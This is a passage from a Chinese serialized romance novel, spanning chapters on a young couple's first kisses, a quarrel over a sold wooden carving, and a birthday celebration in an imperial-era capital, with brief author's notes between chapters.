安声笑道:“这是我为你而作的诗,自然要写你的名字,在我这里,你的名字与‘我爱你’三字等同,每当我唤你一次,便是更爱你一次。” 左时珩心潮奔涌,自问翻遍万卷书也不知如何招架,才能克己复礼,立圣人之言,行君子之道。 一时不止双目灼热,气息也滚烫起来,身体里似有某种欲望在叫嚣疯长,让他几欲失控。 好在夜色浓重—— 偏也是夜色浓重,他不知逃往何处,才能不叫自己在爱人面前失态。 可安声,又在此时唤他,唤他的名字,与那三字一起。 她说:“左时珩,我说我爱你,非常非常爱你。” 这简直成了压倒骆驼的最后一根稻草,让左时珩理智跌落下风,在汹涌的爱欲里,低头吻她。 他来势汹汹,可真正落下来时又笨拙青涩,连呼吸都屏住了,喉结滑动,吞咽的动作满溢着紧张,当两人唇瓣相贴时,他顿了顿,似乎不知下一步该做什么,仿佛这个吻应当结束了,但迭起的情绪浪潮又让他本能地还想继续。 他的手除了开始紧抱安声的姿势外,也未在接吻时有什么其他动作,反而更加紧绷,升高的体温熨帖着安声的肩背与后脑。 两颗心如此近的贴在一起,两人的头发也勾勾缠缠无法分开,暧昧至极时,吻竟停在此处,真是令人叹为观止。 左时珩像一个初学字的孩童,用力握笔,姿势端正,神情俨然,一笔一划万分认真,但落笔只是小儿涂鸦。 安声唇齿溢出一声低笑,轻咬他下唇,舌尖探出,挑逗般地掠过,却不深入,勾起火来又及时撤退。 “这样会吗?” 她笑得不行,心道左时珩也有这个时候,殊不知十年后的自己,多么熟练,多么招人,多么想要她。 但安声也未料到,左时珩学的极快,她方才不过简单挑逗他一下,他便顺势而为,封了她撤退的后路,那只抚着她后脑的大手轻轻一托,她便又“送上门来”。 左时珩再度吻住她,似得了令箭,强势得很,学她那般齿尖在她唇上轻轻啃咬,逼得她启唇哼吟,他便趁虚而入,攻城略地一般掠夺了她全部空气,不得不向他索取。唇齿张合间,这般渐入佳境,连带着揽在她腰肢的手也不由自主地摩挲起来,酥酥麻麻,让她浑身战栗。 安声开始喘息,形势已不在她掌控,她只能在他的节奏里不断回应,由浅入深,时间一久,绵绵细雨亦能泛滥成灾。 直至安声不小心衣襟滑落,露出白皙香肩,左时珩方才一顿,略清醒了几分。 他的气息依旧急促,甚至滚烫,但他停了下来,将安声的衣裳拉上去,揉了揉她的发,嗓音略显沙哑。 “抱歉,抱歉,我不该……” 他深呼吸,抱着安声躺下,给她掖好被子,撩帐摸黑下了床:“你先睡……” 他借薄薄月色披衣匆匆走进净室。 安声下午才睡过,方才又与左时珩深吻一场,头昏脑涨,哪里还睡得着,睁大圆圆的杏眼,里头盛满愉悦。 十九岁的左时珩不像二十九岁的左时珩,少了温柔克制,多了霸道强势,还带着几分张扬的少年意气,吻她时有些迫不及待的征服与占有,像是冲锋陷阵的战士。 而二十九岁的左时珩更像是运筹帷幄的将军,总让她看似掌握主动权,实则步步掉入他设好的陷阱里,在和风细雨中为他欲罢不能。 但她确信,无论是怎样的左时珩,她都极爱,爱极。 只是左时珩有自己的立身之道,君子之风,与十年后的自己相比,他现在还没那么深的城府,无法很好掩饰自己的意图,又为对她无法克制的冒犯而自责不安。 过了好些时候,待他再度回来,身上携着一股湿冷的潮意,站在床前一时没有上来。 安声隔着帐子看他,只有一个模糊的影子,仿佛漂泊无依的孤魂。 她起身拉他的手,将他拽回身边。 “左时珩,快躺下。” “……怎么还没睡?” “被子里冷,我睡不着。” 他脱去沾湿的外衣,掀开被子进去,安声当即抱了过来,他低声道:“我身上还是凉的。” 安声摇头:“一会儿就热了。” 他应声躺下,任她抱着,也不动。 过了会儿,他轻声开口,低不可闻:“抱歉……我……” “为什么要道歉?我们不是夫妻吗?写了婚书的,难道你想反悔?” “不是,我……” 安声不给他说话的机会,支起身子,然月色西移,她也看不清他此刻表情,只知必然是无措的。 “左时珩,我好喜欢你,好想亲你,也想你亲我,难道是你不情愿,觉得我在逼迫于你?” “当然不是,是我……” “不是就不必多说,睡觉。” 安声重新侧躺下来,没再钻入他怀中,而是伸手过去摸摸他脸,带着安抚意味。 他于她掌心蹭了蹭,温声道:“好,我不说了。” 或许是这两日太累,又或许他太享受她的安抚,很快他便沉沉睡去。 安声爱惜地抚摸他,吻过他疲倦的眉眼,如一阵轻柔的风。 她想,她会努力,让他们拥有很多时间。 这一次,至少至少,不会是上一次- 腊月这个上旬,安声与左时珩在东街长锦坊杏花胡同安定下来,安声很喜欢这个小院子,与左时珩一道移植了好几棵树,虽是冬日,已然期盼起来年春日之景了。 左时珩似乎什么都会,不但会修缮门窗,还打了两把长椅,方便晴日无风时,他们搬到院中一道晒太阳。 去木材行挑选木料时,安声还选了几块合适木雕的木头,以便继续她的艺术家大业。 白日里,张为是会上门来,同左时珩交流文章学问,讨论来年会考选题等,他读了左时珩的诗作文章,实在叹服,认定以左时珩之文采,必定能在会试中一鸣惊人,于是更加来往频繁,求知若渴。 他还说,自己有些门路,建议左时珩拿着诗文提前去几位惜才的文官家中拜访,只是被左时珩谢绝了。 每当张为是来时,安声便会同左时珩说一声,然后出门去,有时她会去那家书画铺子,有时她便去外城西街,看看有无机会售卖自己的木雕,也希冀着能碰上老乞丐。 她观察过西街的市集,有画糖画的,捏面人的,编草编的,也有木雕,但若租一个摊位于她实在不划算,因为她并非长期做这个,不过是补贴些家用,而不租摊位,便要学那些卖货郎卖货娘,挑着担子走街串巷,大声叫买,她又有些脸皮薄。 思来想去,一时也没什么好法子。 不得不说,在这个陌生落后的时代生存,于她而言,并非一件易事。 若是去做其他妇女能做的活计,譬如浆洗缝补,或者被人雇佣去做洒扫下人做饭厨娘等,她更是做不来。 即便在家里,这些琐事也大多由左时珩来做,他从前一人生活,本就会这些,但安声在现代生活惯了,两个世界的便利程度无法相比。 这里对她来说是新奇的,有趣的,也是麻烦的,辛苦的。 她能做什么? 除了写字,似乎仍是木雕。 好在这样的日子也无须太久。 正在街边想着,忽有人从后打了她一下,吓她一跳,回头则惊喜喊出声:“师父!” 不是老乞丐还能有谁? 半月不见,他还是那般模样,穿着同一件褴褛棉衣,头发胡子凌乱,面色黝黑,精神矍铄。身前挎着一个布包,后面背着一个,两只手,一只拿着棍,一只拿着碗。 老乞丐往旁边看了两眼,笑眯眯问:“你作甚么呢?” 又问:“进城这么久了,你那些丑东西可卖出去了?还有木头,有没有继续刻?” 安声跟他简单说了这半月的事,也坦白了眼下的困境。 老乞丐问:“那你写字卖就是,还要刻木雕作甚?” 安声道:“师父,我这是多线发展嘛,那书画铺子我也不能日日去写个七八幅字,费神费力,而且价钱很低,且也并非有那么多需求,两三日能要个三幅便不错了。” 老乞丐哼了声,嘴硬说就不该跟安声打招呼,真是给自己找了个麻烦,但却告诉她,过两日南街有个集市新开,热闹得很,他准备去那儿要饭,问安声要不要跟他一起要,安声笑说好。 老乞丐道:“行,那你记得穿的破烂一点,不然要不到饭,把你那些丑东西也带着。” 安声还道老乞丐是同她开玩笑,原来不是,两日后真带她去了南街集市,好些临时铺子小摊支起来,像是赶集,加上如今年底,正逢考市,京城人本就多好几万,便热闹得不得了,人流中不乏衣着华贵者,也有闺门小姐戴着帷帽,领着丫鬟仆妇出入其中。 老乞丐在那天桥一角早早占了位置,往那一坐,摆上豁口的碗,刻好的木雕,也不向过往的路人主动讨要,而是一言不发地削木头。 安声去得早,同他坐在一起,起先很是难为情,最后往地上摸了两把灰抹在脸上才好一些。 她也将自己的木雕摆在面前,有些无所适从。 “师父……” “别叫我师父,现在你是我的女儿,咱爷俩靠这点手艺为生,堂堂正正挣钱吃饭,有什么丢脸的。” 安声呼了口气,心想倒也是,她若真是这个时代读过书的女子,只怕还有些别样的心气傲骨,但她从一个自由平等的世界而来,对内不该存尊卑等级之念,对外自适应时代规则便是。 于是盘腿一坐,也拿了块木料,开始创作起来。 一过辰时,人便多了,她沉浸在自己的艺术中,有人驻足才抬头看一眼,倒真有好些人围观,蹲下去瞧老乞丐的手艺,惊叹之声不绝于耳。 不知何时,一个声音响起来,拿了她的表情木头人笑道:“这个有意思,技艺虽糙,倒是十分传神。” 她抬头一看,是个小厮模样的人,看衣着大约出自富贵人家,忙笑应:“是,天下独此一份,技艺有价,创意无价,错过这村可没这店了。” 那小厮拿了两个,问多少钱,安声一狠心直接说一两一个,那小厮咂舌说她真是狮子大开口,不过倒真丢了二两银子,拿着走了。 过了会儿他又回来丢了一袋银子,说她那些表情木头人他们家老爷全要了,又问她:“还有别的吗?这些固然新奇,却不算好看,有没有姑娘家喜欢的那种?要与众不同的。” 安声指了指老乞丐那边:“我师父刻了动物。” 小厮赏玩一番,摇头:“太精细了,反失了灵气,我家老爷说,就要你这种有点丑但很特别的。” 安声心说你才丑,不过有钱不赚是傻子,便忙道:“我家里还有一对猫狗木雕,就在附近,能不能等我两刻钟,我去取来?” 小厮沉吟片刻,摇头说等不了,但给了她一个地址,要她自己送去门房那儿。 安声记下,但说:“那对十两。” 小厮瞪眼无语:“……现在要饭的这么豪横吗?” 安声指了指木雕:“我不是要饭的,我在做买卖。” 小厮无奈:“行吧,你尽管送去,若是我们家小姐看上了,自然不缺你的,若看不上,那便算了。” 小厮一走,安声就收拾东西,将剩余木料留给了老乞丐,又分了三两银子给他,笑嘻嘻:“师父,我完事了,先回了。” 老乞丐感叹:“现在的人眼光还真怪,不爱美独爱丑,真是世风日下啊。” 安声笑了几声,不与他辩驳,以最快的速度赶回家,洗了脸换了衣服,从房间窗台上拿了那对猫猫狗狗木雕又出门了,快到左时珩才发现她回来,却没来得及同她说上半个字。 小厮给的地址是荣安侯府,其实离东街并不算太远,但实在太大,安声打听找门费了半日,才将东西送进去。 过了会儿,有个长相可爱的圆脸丫鬟出来,给她包了十一两银子,笑道:“原来是位美人姐姐,我说怎么有这般玲珑心窍,将小猫小狗也能刻出别样可爱来,我们家小姐实在喜欢,若是还有巧思,尽管来找我,我叫红枝。” 安声自然也笑着应下。 若是一般人家,便也算了,但她隐约记得,安和九年时,左时珩曾同她说过,她在京中有过不少好友,其中就有荣安侯府的小姐。 回去路上,她想了又想,拎着银钱袋子雀跃不已,只还未到家,便见左时珩远远过来找她,脚步匆匆,见到她无恙才松了口气。 他额上有汗,语气着急:“下次出门要同我说,眼见天黑了,我找了快三条街了。” 安声立即道歉,态度诚恳。 又牵他的手,将银子晃了晃,笑道:“左时珩,看,我很会赚钱吧。” 左时珩愣了下,见她杏眸弯弯,既撒娇又得意,不禁无奈摇头。 “下次至少让我和你一起,好吗?” “好,这次是太着急了,我怕赶回来太晚,下不为例。” “嗯,下不为例。” 安声笑起来,与他携手进了家门,心道左时珩果然还是一如既往的好哄嘛。 但下一刻,他想起什么,忽然问她:“窗台上的那对猫狗木雕你收起来了吗?我今日未见到。” 安声眨了眨眼,一时心虚,将银子放到桌上:“……卖了。” 卖了? 左时珩神情发怔,仿佛确认一般转头去看窗台,那儿空无一物,才又不敢置信地转回来。 “你不是说……那是送我的么?我以为……” 他以为,那是他们的定情信物。 他没继续说,但薄薄暮色里,安声看见,左时珩眼尾竟慢慢红了。 他掩饰般的垂眸,若无其事道:“嗯,我去做饭。” 安声心里咯噔一下,坏了,真生气了。《 》 50-60 第51章 哄他 左时珩生气的模样,安声亦是第一次见。 既不热烈,譬如脸红气粗与她大吵一架,也不冷淡,譬如无视她不理她,他依然对她事事有回应,只是又明显地能让安声知道,他在生气。 安声跟在左时珩后头走进厨房:“我来生火。” “不用。” “那我去洗菜。” “已洗好了。” “……”安声抿了抿唇,“那还有什么需要我做的?” “你累了一日,去休息吧。” “……” 不对劲啊不对劲,怎么会这么生气呢,那不过是两个粗糙的练手之作。 安声仔细观察他神情,他已坐到灶膛后面去生火了,坐在小板凳上微微低头,因四处找她而凌乱的额发还未及打理,微弱火光萤火一般自他手中跳跃,逐渐点燃枯叶,继而火光大盛起来,又再次一暗——被他塞入灶下。 他放几根干柴进去,拉了几下风箱,待火真正烧了起来,又放了几根柴,让火势趋于稳定。 左时珩做这一切都是沉默而从容的,平静的脸上看不出负面情绪。 他起身回到灶前,洗了手,开始切菜。 安声坐到灶后,说:“那我看火吧,正好暖一暖,太冷了。” 左时珩看了她一眼,点头。 “是有些冷。” 安声用烧火棍拨弄了下木柴,继续找话同他说:“左时珩,你知道那对木雕卖了多少钱吗?你一定想不到。” “嗯,我想不到。” 猜都不猜了? 安声侧过身子看他,他长身而立,垂眸忙碌,切菜之声均匀而利落。 “十一两哎!我们半年的房租。”安声提高声音,“我一见那小厮衣着不凡,便知这家人肯定不差钱,直接就说十两,没想到对方是荣安侯府的人,侯府小姐见了我那对猫狗木雕很是喜欢,还特意多给了一两。” 她说完,也没听见回应,便再次探头:“左时珩?” 滋啦一声,白菜下锅,热油飞溅,也淹没了她的声音,让她叹了口气。 这事是她不对在先,毕竟说了送他的。但木雕她可以再刻,赚钱机会错过却不一定再有。 他们既在一起,她送他礼物的机会多得是,也远不止这对木雕,他为何如此看重呢?难道……因为这是她第一次送他的礼物,所以对他来说,有特别的纪念意义? 这也能说得通,但卖都卖了,而且对方确实给的多……不亏啊,不亏。 现在当务之急就是把左时珩哄好了。 应该怎么哄呢?是热情一点还是温柔一点?亦或撒娇卖萌更管用? 安声托着腮,呆呆地捣鼓着火,回想安和九年,那时的左时珩太擅长情绪内敛了,似乎怎样都不会生气。 现在的左时珩么……生起气来还怪可爱的。 不知多久,火渐渐小了,她下意识从旁边抽了根木柴准备添进去,被一只手拦下。 “嗯?”安声抬眸,与左时珩茫然对视。 他握住她手:“不用加了,吃饭了。” 吃饭时,左时珩也一如既往的安静,但若安声说话,他则会回应。 安声实在忍不住,直接问他:“左时珩,你还在生我气吗?” “我并没有生你气。”左时珩摇头,收拾起碗筷,“我去洗碗,你先打了水,早些洗漱吧。” 明明就在生气。 安声决定等两人一起躺下来再好好谈谈这事。 她会认真道歉,并给左时珩再做新的更好看的木雕。 但等她洗好,左时珩久久未回房,她不禁又下了床披衣去找他。 他还在厨房忙碌,用火钳捡了炭一块块放在陶盆的草木灰上。 见她过来,他解释道:“今晚又开始冷了,方才烧了些炭加在盆里,等会儿放在房里会暖一些。” “左时珩,我有话要说。” “好,那你先回房中等我,别站在外面着凉。” 安声只好又回到卧房,只是左等右等,左时珩只将炭盆搬来后又出去了,她心里急,完全呆不住,便找了块木料想现刻一个小猫木雕,谁知思绪乱的很,勾线怎么勾都难看,遂作罢。 终于等到左时珩回房,已过了亥时,他走进净室洗漱,安声忍不住跟到门外等,听着里面水声,愈发憋闷。 左时珩拉开门,见到安声,怔了怔:“怎么还不睡?” 安声委屈:“我都说了有话要跟你说的,但你生我气,到现在才愿意回房。” 他似无奈笑了下:“我也说了没有生气,之所以现在才回,是去后院忙了。” 后院有一块空地,原先长满杂草,他除去后,觉得适合种些小菜,便买了种子来,前两日天气暖和,种子发了芽,但今夜起风,明日恐怕降温,他唯恐嫩芽被霜冻死,想了想,就去松了松土,又盖了一层干草。 “左时珩对不起,我应该提前和你商量的,忽略了你的感受,是我的错。” 安声伸手抱住他,紧紧环着他腰,脑袋抵在他胸口。 左时珩抬手摸了摸她头发:“回床上去吧,这样站着太冷了。” “一起,我跟你一起。”安声收拢手臂力气,没有松开的意思。 左时珩便抱起她,大步上了床榻。 炭盆里余温幽幽,放在床后,让卧房暖和不少。 左时珩躺下,吹灭蜡烛,轻声道:“有些晚了,若是明日不出门的话,也可以明日再说。” 安声拱到他怀里来:“不行,我不能让你带着情绪过夜。” 左时珩叹了口气,不知该说什么。 他其实也不知自己心里是如何想的,到底是在生气还是委屈,亦或对安声不在意这份礼物的无奈。 但他说自己并未对她生气,也是实话,他知道她是为了他们过日子,又岂会迁怒于她?因而一想到此,对他眼下无法给她更好生活,让她不得不抛头露面做些辛苦之事,也不由感到无力。 他心中的确有气,但那是对自己的,他不想诉诸于口。 “左时珩……”安声低头亲他,在他脸上一整个亲遍才开口,“不要生气了,我下次做十对木雕补偿你,不仅是小猫小狗,还有鸟儿狐狸兔子鸡鸭鹅鱼,甚至飞机大炮都给你刻,好不好?” 缄默片刻,夜色中响起左时珩一声低低闷笑。 “那假使有人出十两百两来买呢?” 安声纠结几秒,放弃地埋在他颈间,叹道:“你知道的,我也不想卖,但他们给的太多了……” “我就知道。”他淡淡地哼,“那十对木雕最后也都是别人的,不如直接刻了去卖,何必要送了我再转手他人?” “那我专门设计一个特别的木雕送你,莫说一百两,便是一千两,我也不卖。” 当然,如果真有人愿意出一千两的话,她也不是不可以复刻一个。 左时珩不语。 安声便又亲他,声音软糯:“左时珩……你说话呀。” 左时珩抵不住,叹了口气,抱着她翻身侧躺,语气温和起来。 “安声,不是木雕多少的问题,而是那是你第一次送我礼物,你当时的心意于我而言实在珍贵,是无价的,也是无可替代的。” 安声不解:“我的心意?……什么心意?” 这次左时珩沉默许久,久到安声忍不住再度开口,心虚到有些磕巴。 “我……我就是觉得做的还不错,所以送你了,没、没想什么啊……” 左时珩仍沉默着,但洒落在她耳畔的气息沉重不已。 “左时珩?”安声唤他,欲从他怀中挣扎出来,被他禁锢住。 他下巴轻抵在她头顶,一声叹息幽幽落下。 “原是我想错了……没事了,睡吧。” 什么就没事?哪里没事了?分明听起来事更大了。 安声追问:“想错了什么?” 她伸手摸他领口:“你若不说,我就脱你衣裳。” “……哪里学的流氓行径?” “对你流氓又不是一日两日,第一日就开始了,往后一生还会继续。” “……” 左时珩又叹口气,无奈笑了声。 顿了半晌,他才低声道:“我以为,那是你与我的定情之物。” “啊?” 安声傻眼,随即恍然大悟。 明白了,这下全明白了。 根本原因在于他们的认知出现巨大差异—— 于左时珩:任何人休想买走我的婚戒。 于安声:十万卖了一对易拉罐拉环。 她激动地立即爬起来,重新点亮蜡烛,再爬回去,俯身压在左时珩上方,目光灼灼,万分认真。 “左时珩,这不是定情之物,我对你的情在你认识我之前就定了,它会铺满我们的每一日,我望向你的每一眼,同你说话的每一个字,比天高海深,除了我本身,任何物件都无法承载。” “当然,我还是会送你礼物,因为我爱你,我想同你分享我所感受到的一切,故而不必去在意木雕或者别的什么,它们只是我的附属物,而我和我的一切本身就属于你,正如你属于我。” 说罢,她牵起他的左手,轻吻了他的无名指,那双秋水般的杏眸格外温柔。 “若一定要有个定情之物,那在我们那儿,如今更多是用戒指,曾有个古老的说法,认为无名指有根血管连接心脏,因此相爱的夫妻会为彼此在无名指戴上戒指,意将对方置于心上。”—— 作者有话说:明天加更,别说,更加多了我看三千字一章也觉得少[小丑] 第52章 生辰 左时珩已是彻底沦陷,怔然听她这番话时,连思考也不能了,立即坐起,凭借本能将她拽入怀中,紧紧拥住,恨不得将她融入骨血之中。方才被她亲吻的无名指处也隐约发烫,竟仿佛真有一股热流从那迅速迸入心脏,再涌向全身经络,让他血液沸腾不息。 他几乎轻颤起来,在恋恋不舍地结束这个长久的拥抱时,学她的动作,牵起安声的左手,亦落下一个温柔至极的吻,神情虔诚。 安声柔柔地笑。 年少的左时珩尚不能从容沉稳地应对她热烈的情感,于是回馈以同样的热烈,笨拙而青涩。 她说:“左时珩,我都说到这份上了,你还不亲我吗?” 左时珩望向她,眼尾微红,笑意从眼底溢出,他宽大温暖的手掌抚上她的脸,另一只手则环过她腰肢,将她完全圈入怀中。 不过顷刻,她便落在他掌控中了,但她甘之如饴。 滚烫的唇覆上来,包裹、吞咽着她微甜的气息,被攫取的空气让她有些发窒,不得不启唇向他索取,沉溺在他的体温里。 谁也忘了吹灯,那根红烛燃至深夜,余晕勾勒出一道酣睡的影子。 清晨安声醒来时,恍惚了瞬,猛地坐起,低头去看自己,贴身衣物俱在,身上也无痕迹,不由长长叹了口气,扑倒在被子上。 不知何时,她感觉头顶的发被人戳了戳,她抬起半张脸,正好对上左时珩那双漂亮的笑眼。 “怎么睡成这样?” “……我觉得不对劲。” “什么不对劲?” “昨晚我们只是亲了吗?”安声坐起来,捞了个枕头在怀里抵着下巴,“我们亲到后来什么也没发生?” 她不禁自我怀疑,虽然后面太困,但隐约记得有肌肤相触的感觉,可一觉醒来,却什么痕迹都找不到。 她惶惑问:“难道我做了个春梦?梦里我把你衣裳脱了。” 所谓……春梦了无痕,便是如此? 左时珩伏在床边笑个不停,脸埋在臂弯里,耳尖红透。 尽管与安声相处太久,明白她一贯直白作风,却永远猜不到还能从她口中听到什么。 这日果然降温,天阴阴的,风时大时小,一直未停,安声便一日未出门,在房中闲着无聊刻了一整日的木头。 她记得安和九年,她曾在左时珩书房中发现的一些木雕,除了那些摆在多宝阁上的飞机轮船,精致到以她如今的技艺完全做不到外,印象深的便是那只上完色的狐狸与上了一半色的狸花猫了。 不过已见到那样不好的结果,她不打算重蹈覆辙,这次绝不上色,不浪费颜料。 但狐狸她倒挺想刻一只送左时珩,毕竟答应过他,于是沉思半晌,开始在木料上勾勒形状。 下午张为是来了,与左时珩在书房里畅谈。那间房原是客房,堆放了许多杂物,后来被左时珩收拾出来,充当书房,如此,若有客人来,安声便无须与其碰面,自在一些。 他们在书房讨论学问,谈论家国,安声也没兴趣听,只去厨房泡了壶茶给他们,就又回到房中继续雕刻自己的狐狸。 左时珩在房中放了炭盆,她铺了块布,在炭盆旁席地而坐,掉落的木屑不至于散落的到处都是,方便收拾。 阴天黑得很快,申时左右房内便暗的看不清了,安声揉了揉手腕,去点了个灯,又继续雕琢。 直到左时珩进来,将门窗关紧,蹲在她旁边。 “饿不饿?” “不说还不饿,一说就饿。”安声用砂纸打磨着表面,“我快弄完了,再等我一会儿,我跟你一起做饭。” “好。”左时珩笑了声,把将近熄灭的炭盆搬了出去,打了些温水回来。 安声将手中小狐狸对着光反复欣赏,颇为满意,这只与曾经在左时珩书房中所见的不同,她特意做了改变,改站姿为蹲姿,线条也更为流畅。 “送你的,左时珩!”安声转头看他,笑眼弯弯,“这只绝对不卖,专属于你。” 左时珩走近,接过木雕,又拉起她手腕:“先过来洗手。” 安声乖巧应声。 之前她就有一次洗手没洗干净,留了根木刺扎进指尖,一碰就痛,还是左时珩给她用针挑出来的。 她洗手时,左时珩在认真看那只狐狸,原本在安声手中正常比例的狐狸在他手中显得迷你许多,又添了几分可爱。 他问:“还有第二只吗?” “这么喜欢?还想要一对?” “那对猫狗木雕可是两只,既是赔罪,得要两只来赔。” “现在倒提要求,昨天自己说不生气。” 左时珩发出一声轻笑:“我不生气不代表阿声不能哄我。” 安声朝他弹去水珠:“昨晚说了那么多好话,又亲又抱的,难道还没哄好?” “昨夜虽好,但并非我提的要求。”他愈发得寸进尺,“我要两只木雕。” “可以。”安声甩了甩手上的水,答应明日再刻只狐狸。 左时珩却说,不要狐狸,要一只小猫。 “小猫不行。” “为何?” “小猫和小狗既是一对,就不能和狐狸是一对。” 左时珩忍不住笑,拿来帕子给她擦手:“有理有据。” 安声看那只狐狸,有了另一个的思路,不过当下没有告诉左时珩。 待到夜间,二人同榻,安声才道:“左时珩,我给你讲个故事。” “什么?” “在广袤无垠的宇宙里,有颗孤独的星球,星球上有个孤单的小王子……” 寒风呼啸,夜色如墨。 温暖的帷帐里,安声缓缓讲述了一个童话故事。 左时珩听罢,起初觉得新奇,后又有些感慨,问她:“所以,你打算刻一个小王子?” “太难了,我刻一朵玫瑰给你。” 左时珩低笑,将她捞入怀中轻轻一吻:“好,我等你的玫瑰。” …… 天持续冷了几日,雪欲下未下,风倒一直不停。 外面太冷,安声不想出门,便一直刻木雕,十分上瘾,直到腊月下旬,天又转暖起来,京城一下热闹的不得了,家家户户忙着过年。 一日安声醒来,大片金色光晕从窗外漫入,卧室内亮堂堂的。 窗台上,那只可爱的狐狸正仰头望着那朵盛放的玫瑰,窗外,则是一株待来年春初绽的海棠。 实在让人心情大好。 她这段日子刻了好些木雕,手艺见长,风格依旧与众不同,便全拿上特意去了趟荣安侯府,与门房说找红枝姑娘。 没多久她再次见到那个长相可爱的圆脸丫鬟,丫鬟见到她拿了好些木雕来,不由惊叹,领她去了内院,她在一间花厅候了不久,见到了那位喜欢她木雕的侯府小姐。 小姐闺名常萱,是府上三小姐,去年及笄,已有婚约,来年过了四月便要成亲,因是远嫁,一直有些闷闷不乐,当时荣安候路过南街市集,叫小厮去挑些有趣的小玩意儿送与女儿解闷,意外看上了安声的木雕,这才结下了一段缘分。 安声在侯府待了约半个多时辰才回,常萱照例以十两银子的价买了她一对胖乎乎的小鸟,一只小猫。 又拿起一只造型奇特的鸭子,不解地问她:“为何要在鸭子头上雕朵梅花?” 安声颇为不好意思,解释:“梅……鸭力。” 几人一愣,俱笑起来。 常萱更是笑得花枝乱颤:“妙妙妙,如何有这样的巧思?这只我也要了,送我母亲,她定喜欢。” 安声回去将此事与左时珩一说,左时珩也笑:“的确,除了阿声,再无人有这般巧思。” 天气一直很好,直到年底。 在年底之前,安声不再刻木雕了,她与左时珩一道忙碌起来,准备过年。 她实在兴奋,还从未在这个世界过年,安和九年临近年底的事那样可怕,几乎成为她的噩梦,但噩梦总会醒来,再大的雪也会融化,迎来春天。 她与左时珩买了好些年货,各种干果蜜饯,蔬菜肉类,还买了桃符,红纸,用以写对联,剪窗花。 左时珩的字漂亮得要命,对联自然都让他写,安声负责剪窗花,她剪了许多式样,起初还按照传统方法来,后来又开始放飞自我,先在红纸上勾勒图样,然后用刻刀慢慢裁出来。 于是他们的小院正门上除了一对春联外,左右两侧还将多出一匹大眼睛的可爱小马。 年前,安声和左时珩还租了马车,去了一趟城外破庙,邀请老乞丐与他们一同回去过年,果不其然被拒绝,于是只得留下许多吃穿用品,趁天黑前赶回了城里。 转眼便是腊月廿六,离过年只有几日。 这日左时珩醒时,安声竟不在房中,让他惊了一惊,才要出门去找,安声便从院子里进来,不由分说将他推回房中,按到床上。 “才七点多起来干嘛,该买的都买完了,今日不出门。” 自己也脱了鞋袜重新钻到他怀里,将他紧紧抱住。 左时珩一笑:“怎会有这么霸道的人。” “就是这么霸道。”安声耍起无赖,“今天一切听我的,得到我的允许才能起床,然后,还要闭门谢客。” “我能听一听理由吗?” “不能。” “好吧。” 他答应的无奈又乖巧,让安声忍不住笑,在他怀里待了一会儿后,爬起来准备下床,被他拉了回去。 “还早,再躺一会儿。” “左时珩,你怎么也霸道?” “近墨者黑。” 安声哼声,从他怀里滑出来,一点点蛄蛹到被子底下去,最后顺利从床尾脱身,一头长发凌乱不已,全糊在脸上。 左时珩笑着坐起,说替她重新挽发。 安声阻止:“别动。” 她迅速穿了棉袄,去厨房打了热水进来:“现在可以起床了左大人,但是不准出房间,早膳我也准备好了。” 左时珩有些意外,又不知她葫芦里卖的什么药。 待他洗漱好,安声又去了一趟厨房进来,手中端一托盘,其上是一碗清汤面,卧着个煎蛋,还有一碗不知什么做的汤。 “这不是汤。”安声纠正,“这是奶茶,用糖炒茶叶,再加羊奶煮制而成。” 左时珩颔首,又问那碗面有没有什么说法。 安声则拉他过来坐下,将筷子塞入他手中,笑道:“自然也有,这是特意下的长寿面,祝我夫君二十岁生辰长乐。” 左时珩愣神片刻,才想起,原来今日是自己生辰。 此前他从未过过生辰。 在他们那儿,只有逢十才会给孩子庆生,但他十岁那年黄河泛滥,洪水滔天,他的家被泥沙冲毁掩埋,父母也葬身在那场大灾中。 他视线落于眼前这碗长寿面上,不禁动容,大大吃了一口。 安声从后面轻轻抱他,柔声道:“左时珩生日快乐,长命百岁。” 安声的心思不止于此,吃完面依旧不许他出门,将他的笔墨纸砚搬来,让他写字解闷,自己则去了院中。 她上次剪窗花时偷偷剪了好些小小的梅花,将之在海棠树上挂满,远观如一树寒梅,热闹非凡。 待布置好,她才拉左时珩出来看,正巧张为是大人来敲门,她去开了门,他探头往里一瞧,诧异:“红红火火的,这么早就过年?” 安声笑道:“不是过年,是为我夫君庆生。” 张为是惊讶,随即笑着朝左时珩拱手祝贺。 安声去拿了两个鸡蛋来送他:“张大人,今日就不待客了。” “理解理解。”张大人高兴地扬长而去。 关起门来,左时珩笑问:“何时准备的这些?” “早上准备的,天不亮我就起来了。”安声过去牵他手,“其实还想准备更多,不过快过年了,夫君二十弱冠,届时当去酒楼庆贺。” 左时珩进屋抱住她,低头在她发间轻蹭,感动得说不出话。 “阿声……” 安声仰起头:“左时珩,你记住奶茶怎么做的了吗?下次我也想喝。” 他低低笑了几声:“好。” 下午他们一同小憩了会儿,又腻在书房中写字,眼见日头倾斜,安声喊道:“我要去厨房做蛋糕了!” “蛋糕?” “嗯……但我不太会揉面,也不知会做个什么样子。” 她早上下的面条,还是昨日左时珩做了剩的。 左时珩莞尔,妻子既这么说,自然是允许他帮忙了,便卷起衣袖:“恰好我会。” 安声雀跃地抱住他胳膊:“哇,好巧。” 于是两人一道进了厨房,在天黑之前,左时珩依照安声的指示,做了一个奇怪的“寿桃”。 安声坚称:“相信我,这就是生日蛋糕。” 左时珩:“它与寿桃最大的区别,是里面加了过量的糖。” 安声:“不要在意这些细节。” 于是她端着这个寿桃回了房,并点上一根蜡烛放了上去。 “左时珩,你现在闭着眼对着这根蜡烛许愿,然后吹灭它。” 左时珩不解,但乖乖照做:“我……” “不要说出来,说出来不灵。” 他面色一凛,果然垂眸默念,片刻掀眸吹灭烛火。 安声又点上,眨眼:“再许一个。” 他笑问:“哪位神允许这般贪心?” “欸呀不要在意这些细节。” “好。” 待他吹灭,她又点了一次:“反正都贪心了,再许一个。” 左时珩被她逗笑。 等三个心愿许完,安声将蜡烛放到一边,挖去蛋糕上的烛泪,起身去拿了壶果酒来:“这就是我们今天的晚膳,俗称烛光晚餐。” “……你确定?” “确定。”安声切下一块给他,自己也咬了一口,刚咽下去就丧着脸,“我错了左时珩,你现在还能去炒几个菜吗?” 左时珩大笑不已。 …… 蛋糕翻车虽在安声意料之外,不过安声的最终目的并不在此。 等小菜上桌,她才“图穷匕见”,给自己和左时珩都倒了杯酒,双眸晶亮,满眼真诚:“左大人,难得过生辰嘛,高兴,只喝一点,不会醉的。”—— 作者有话说:没加完[小丑]放到明天里(鞠躬.jpg) 第53章 二月 